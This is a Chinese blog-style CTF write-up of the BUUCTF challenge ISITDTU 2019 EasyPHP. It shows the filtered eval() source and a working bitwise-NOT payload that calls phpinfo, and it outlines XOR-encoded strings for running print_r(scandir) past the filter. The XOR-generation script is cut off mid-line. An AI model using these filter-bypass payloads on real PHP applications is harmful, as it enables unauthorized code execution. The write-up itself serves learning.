BUUCTF:[ISITDTU 2019]EasyPHP --- rce 超级异或,,,吐了,,,字符之间异或, 成型的异或payload!!!

本文介绍了在ISITDTU 2019的BUUCTF比赛中遇到的一道涉及PHP异或漏洞的题目。作者分享了从自行尝试、学习正则到理解并构造异或payload的过程。主要讨论了在PHP7环境下,如何利用print_r和scandir函数,结合异或操作绕过字符限制的问题,并提供了相关Python脚本。最后,探讨了在字符数量受限的情况下如何优化payload。
摘要由CSDN通过智能技术生成

参考:末 初

一、自己做:

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

过滤了,不少,我一般碰到rce的题,就看自己的笔记,然后把payload一股脑的网上怼,,,

二、学的的

  1. 正则看不明白的时候,可以看这个网站的分析,https://regex101.com/。超级详细

  2. 我tm,,学这个异或 真·学了一晚上,,8点到11点半.。也是真学会了,,,就是考这个东西嘛,,,

  3. 注意啊,这个异或的马,在PHP7中才好使,,,我本地尝试的时候,用的php5给我打自闭了,我靠,怎么都不好使,,换成PHP7才好使,,,

三、学习WP

没有过滤 取反,这里用取反的payload能打出来 PHP info:

payload:
(~%8F%97%8F%96%91%99%90)();

用python写出来的:

var_dump(urlencode(~'phpinfo'));
output: %8F%97%8F%96%91%99%90

有open_basedir:
/var/www/html/
有disabled_function:

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open,

然后那些东西eval,exec啥的,命令执行就不行了,,然后思路就是 用print_r(scandir(.))来做

1. 这里先来个不限制字符个数的

关于这个%ff 以及异或的事情,咱们好好唠唠

看着啦:自己总结的。

来了,那就先写 print_r的异或中间值:

看下面的脚本:

1.生成异或中间值的python脚本

我想写一个 生成异或payload的python脚本

print(type(hex(54))) # 这是 str 类型,所以下面这个不行
hex(ord('a'))   output : 0x61 是个str类型
print( hex(ord('a'))^0xff)   这个会报错,因为是一个str ^ int ,然后就将hex变为int就好,int(hex,16)


使用的时候,用下面这个就好了,上面的是用来解释的
aa='print_r'  # 更换成为想要的字符串
for i in aa:
    print(  hex( int(
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值